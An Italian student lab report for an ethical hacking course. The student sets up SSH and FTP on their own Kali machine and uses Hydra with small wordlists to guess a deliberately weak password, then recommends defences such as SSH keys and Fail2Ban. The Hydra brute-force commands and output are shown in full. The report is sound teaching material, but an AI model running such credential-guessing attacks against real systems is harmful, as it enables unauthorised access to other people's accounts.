

Report Laboratorio: Configurazione Servizi e Credential Cracking con Hydra

Corso: Cybersecurity & Ethical Hacking

Studente: Kevin Motti

Data: 16 Gennaio 2026

1. Introduzione e Obiettivi

Il presente laboratorio si pone l'obiettivo di analizzare le vulnerabilità legate all'autenticazione dei servizi di rete. Attraverso un approccio di Penetration Testing, verrà eseguito un attacco a dizionario contro servizi configurati in ambiente controllato (SSH e FTP), utilizzando il tool Hydra per dimostrare l'efficacia del credential cracking su password deboli.

Fase 1: Configurazione e Test del Servizio SSH

1.1 Creazione Nuovo Utente

Per simulare un ambiente reale e creare un bersaglio per il nostro attacco, è stato creato un nuovo utente non privilegiato sulla macchina Kali Linux.

- **Comando eseguito:** adduser
- **Credenziali:** test_user - testpass

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
[sudo] password for kali:  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
    Full Name []:  
    Room Number []:  
    Work Phone []:  
    Home Phone []:  
    Other []:  
Is the information correct? [Y/n] y
```

1.2 Attivazione Servizio SSH

Successivamente, è stato avviato il demone SSH per permettere connessioni remote.

- **Comando eseguito:** `sudo service ssh start`

1.3 Test di Connessione

Per confermare che il servizio fosse correttamente configurato e accessibile, è stata effettuata una connessione di prova dal terminale locale verso l'indirizzo IP della macchina (IP di rete locale), utilizzando le credenziali del nuovo utente.

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.10
test_user@192.168.50.10's password:
Linux kali 6.17.10+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali
The programs included with the Kali GNU/Linux system are
the exact distribution terms for each program are describe
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the
permitted by applicable law.
Last login: Fri Jan 16 16:26:40 2026 from 192.168.50.10
(test_user㉿kali)-[~]
$ █
```

- **Risultato:** La connessione è andata a buon fine, ricevendo correttamente il prompt dei comandi del nuovo utente. Questo conferma che la porta 22 è aperta e il servizio di autenticazione è attivo.

Fase 2: Credential Cracking con Hydra (SSH)

2.1 Preparazione dell'Ambiente e Wordlist

Per condurre l'attacco di **Credential Cracking**, è stata utilizzata la suite **Seclists**, una raccolta standard di wordlist per test di sicurezza.

1. **Installazione:** `sudo apt install seclists`
2. **Ottimizzazione:** Data la vastità delle liste originali, sono state create due liste ridotte per focalizzare il test e ridurre i tempi di esecuzione in ambiente di laboratorio:
 - `top_user.txt`: Contenente una selezione di username probabili (incluso quello creato).
 - `top_pass.txt`: Contenente una selezione di password comuni (inclusa quella corretta).

```
(kali㉿kali)-[~]  
$ grep "test_user" xato-usernames.txt | head -n5 > top_user.txt
```

```
(kali㉿kali)-[~]  
$ grep "testpass" xato-passwords.txt | head -n5 > top_pass.txt
```

2.2 Esecuzione dell'Attacco SSH

È stato lanciato il tool **Hydra** contro l'indirizzo IP della macchina target (192.168.50.10), mirando specificamente al protocollo SSH.

- **Comando Eseguito:**

```
(kali㉿kali)-[~]  
$ hydra -L ~/top_user.txt -P ~/top_pass.txt 192.168.50.10 -V -t2 ssh
```

- **Analisi dei Flag:**
 - **-L top_user.txt:** Specifica il file contenente la lista degli username da testare.
 - **-P top_pass.txt:** Specifica il file contenente la lista delle password da testare.
 - **-V:** Modalità *Verbose*, mostra a schermo i tentativi in tempo reale.
 - **-t2:** Limita il numero di task paralleli a 2. Questo parametro è cruciale per evitare che il servizio SSH blocchi la connessione per un eccessivo numero di richieste simultanee (DoS protection o Rate Limiting).
 - **ssh:** Il protocollo target.

2.3 Risultato finale (credential cracking)

```
(kali㉿kali)-[~]  
$ hydra -L ~/top_user.txt -P ~/top_pass.txt 192.168.50.10 -V -t2 ssh  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret services  
this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 17:56:27  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous  
hydra.restore  
[DATA] max 2 tasks per 1 server, overall 2 tasks, 12 login tries (l:3/p:4), ~6 tries per task  
[DATA] attacking ssh://192.168.50.10:22/  
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "testpass" - 1 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "testpass24" - 2 of 12 [child 1] (0/0)  
[22][ssh] host: 192.168.50.10 login: test_user password: testpass  
[ATTEMPT] target 192.168.50.10 - login "test_user_dmt" - pass "testpass" - 5 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.10 - login "test_user_dmt" - pass "testpass24" - 6 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.10 - login "test_user_dmt" - pass "testpass01" - 7 of 12 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.10 - login "test_user_dmt" - pass "mytestpass" - 8 of 12 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.10 - login "test_user1" - pass "testpass" - 9 of 12 [child 0] (0/0)
```

Sono state trovate le credenziali d'accesso:

Login: test_user **password:** testpass

Fase 3: Credential Cracking su Servizio FTP

Come ultimo passaggio dell'esercitazione, è stato testato un ulteriore vettore di attacco configurando ed attaccando un servizio FTP.

3.1 Attivazione Servizio FTP

È stato configurato e avviato il demone FTP (pacchetto vsftpd) sulla macchina target, esponendo il servizio di trasferimento file sulla porta standard 21 per testarne la vulnerabilità all'autenticazione.

- **Comando di avvio servizio:** `sudo service vsftpd start`.
- **Test di connessione:**

```
(kali㉿kali)-[~]  
$ ftp 192.168.50.10  
Connected to 192.168.50.10.  
220 (vsFTPD 3.0.5)  
Name (192.168.50.10:kali): test_user  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> █
```

3.2 Esecuzione dell'Attacco FTP con Hydra

Utilizzando le medesime wordlist preparate nella fase precedente, è stato lanciato Hydra puntando questa volta al protocollo FTP.

- **Comando Eseguito:**

```
(kali㉿kali)-[~]  
$ hydra -L ~/top_user.txt -P ~/top_pass.txt 192.168.50.10 -V -t2 ftp
```

- **Risultato:** Hydra ha testato le combinazioni di credenziali contro il servizio FTP, riuscendo a identificare le credenziali di accesso corrette, dimostrando che la vulnerabilità (password debole) compromette l'accesso su molteplici servizi.

```
└─$ hydra -L ~/top_user.txt -P ~/top_pass.txt 192.168.50.10 -V -t2 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 17:54:26
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous
hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 12 login tries (l:3/p:4), ~6 tries per task
[DATA] attacking ftp://192.168.50.10:21/
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "testpass" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "testpass24" - 2 of 12 [child 1] (0/0)
[21][ftp] host: 192.168.50.10 login: test_user password: testpass
[ATTEMPT] target 192.168.50.10 - login "test_user_dmt" - pass "testpass" - 5 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user_dmt" - pass "testpass24" - 6 of 12 [child 1] (0/0)
```

Conclusioni

L'esercitazione ha evidenziato la criticità delle credenziali deboli (weak credentials) come vettore di attacco primario. La rapidità con cui Hydra ha compromesso sia SSH che FTP dimostra che la sola autenticazione standard non è sufficiente.

Per mitigare questi rischi, è necessario implementare una strategia di difesa approfondita:

1. Utilizzo di password complesse o autenticazione a chiave pubblica (SSH Keys).
2. Implementazione di strumenti come **Fail2Ban** per bloccare gli IP dopo tentativi falliti.
3. Disabilitazione dell'accesso root remoto e modifica delle porte standard.